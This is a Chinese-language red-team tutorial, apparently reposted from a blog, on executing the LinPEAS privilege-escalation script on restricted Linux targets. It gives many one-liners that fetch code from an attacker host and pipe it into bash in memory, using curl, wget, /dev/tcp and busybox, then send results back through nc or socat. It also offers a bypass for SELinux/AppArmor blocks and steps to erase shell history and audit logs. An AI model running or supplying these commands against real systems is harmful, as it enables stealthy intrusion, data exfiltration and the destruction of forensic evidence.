LinPEAS(Linux Privilege Escalation Awesome Script)是渗透测试与红队行动中最受欢迎的 Linux 本地提权枚举神器之一。它以 Bash 脚本形式,系统化地检查内核漏洞、SUID/SGID 文件、权限误配、服务配置、日志、定时任务、容器环境等数百项可能导致提权的线索,并以红黄绿颜色高亮高危项,极大提升效率。
然而,LinPEAS 的强大依赖于执行环境。现实场景往往充满限制:无 curl/wget、无外网、防火墙阻断、精简系统(如 Alpine)等。本文将从最理想到最极端的环境,系统梳理 LinPEAS 的多种执行方式。
一、最优路径:网络直取 + 内存执行
适用场景:目标机有 curl 或 wget,外网或内网可达攻击机 HTTP 服务。
攻击机准备(以 Kali 为例,IP 假设为 192.168.56.100):
- 放置最新 linpeas.sh(建议从 GitHub PEASS-ng 仓库 releases 下载最新版)
- 启动简单 HTTP 服务:
# 方式一:Python3(推荐) python3 -m http.server 80 # 方式二:busybox(精简环境可用) busybox httpd -f -p 80 - 另开终端监听结果(带颜色保存):
nc -q 5 -lnvp 1234 | tee -a linpeas.colored.txt
目标机一键执行(内存运行,不落地文件):
# 经典组合(最常用)
curl -s http://192.168.56.100/linpeas.sh | bash | nc 192.168.56.100 1234
或使用 wget 版本:
wget -qO- http://192.168.56.100/linpeas.sh | bash | nc 192.168.56.100 1234
优点:最快、无文件落地、结果直接回传、颜色保留完整。(适合红队隐蔽场景) 缺点:依赖 curl/wget + 出站网络。
也可以用 socat 回传结果:
socat -u EXEC:./linpeas.sh TCP:192.168.56.100:1234
二、受限环境应对方案
方案 1:利用 Bash 内置 /dev/tcp(无下载工具首选)
前提:Bash 支持 /dev/tcp(大多数完整 Linux 支持,Alpine 等 musl 系常缺失)。
攻击机仍开启 HTTP 服务(80 端口放 linpeas.sh)。
目标机执行:
# 直接从内存读取并执行
exec 3<>/dev/tcp/192.168.56.100/80
cat <&3 | bash | nc 192.168.56.100 1234
或更简洁的单行写法:
cat < /dev/tcp/192.168.56.100/80 | bash | nc 192.168.56.100 1234
优点:无需任何额外下载工具,纯 Bash 原生能力。
缺点:部分精简系统不支持 /dev/tcp。
方案 2:借助 scp + busybox 多功能二进制
适用场景:有 SSH/SCP 通道,但目标机缺少 wget/curl/nc。
- 攻击机传输 busybox(静态编译版,支持 wget、nc 等数十个 applet):
scp busybox user@目标机:/tmp/ - 目标机操作:
cd /tmp chmod +x busybox # 用 busybox 自带 wget 下载 ./busybox wget http://192.168.56.100/linpeas.sh -O linpeas.sh # 执行并回传(也可内存执行) ./busybox cat linpeas.sh | bash | ./busybox nc 192.168.56.100 1234
优点:busybox 几乎是“万能瑞士军刀”,补齐大部分缺失工具。
缺点:文件落地,痕迹较明显。
方案 3:极简环境 – 手写基础检查脚本
适用场景:无网络工具、无 /dev/tcp、甚至 busybox 都传不进去。
攻击机监听:
nc -lnvp 1234 > basic_check.txt
目标机创建并执行极简枚举:
cat > /tmp/quick.sh << 'EOF'
#!/bin/bash
echo "[*] SUID/SGID files"
find / -perm -u=s -type f 2>/dev/null
find / -perm -g=s -type f 2>/dev/null
echo "[*] Writable critical files"
find /etc -writable 2>/dev/null
echo "[*] Running processes"
ps aux --sort=-%cpu | head -n 30
echo "[*] Kernel version & release"
uname -a
cat /etc/*-release 2>/dev/null
echo "[*] Container check"
cat /proc/1/cgroup 2>/dev/null | grep -i docker
EOF
chmod +x /tmp/quick.sh
/tmp/quick.sh | nc 192.168.56.100 1234
优点:几乎任何有 bash 的环境都能跑。
缺点:信息量远不如 LinPEAS,需后续手动深入。
三、执行优化与痕迹清理要点
- 优先内存执行:尽量全程管道
| bash,避免脚本落地。 - 常用目录:
/tmp、/dev/shm、/var/tmp(重启易清空)。 - 绕过限制:若直接
bash linpeas.sh被 SELinux/AppArmor 阻断,可尝试:bash -c "$(curl -s http://attacker/linpeas.sh)" - 清理痕迹:
history -c && history -w- 移除临时文件:
rm -f /tmp/linpeas* /tmp/quick.sh - 检查并清理审计日志(视环境:
/var/log/audit/audit.log等)
四、真实案例速览
案例1 – Docker 容器逃逸
环境:Ubuntu 容器、无 curl、有 nc 和 bash
步骤:确认 cgroup → 检查 docker.sock 权限 → 若可写则用 API 创建特权容器 → 失败则用 /dev/tcp 拉取 LinPEAS → 发现宿主机 /etc 挂载 → 修改 passwd 逃逸。
案例2 – 内网纯净 CentOS
环境:无外网、仅 SSH 可达
步骤:scp 传 busybox → 用 busybox wget 拉 LinPEAS → 发现异常 SUID 二进制 → 利用注入/覆盖 → 成功提权。
LinPEAS 不是万能钥匙,但掌握其多种执行路径,能极大提升你在不同受限环境下的生存与提权效率。善用管道、内存执行、busybox、/dev/tcp,你几乎能在任何 Bash 可用的 Linux 上让它发挥作用。
希望这篇指南能在实战中助你一臂之力。
原文 https://blog.csdn.net/2301_79518550/article/details/146040815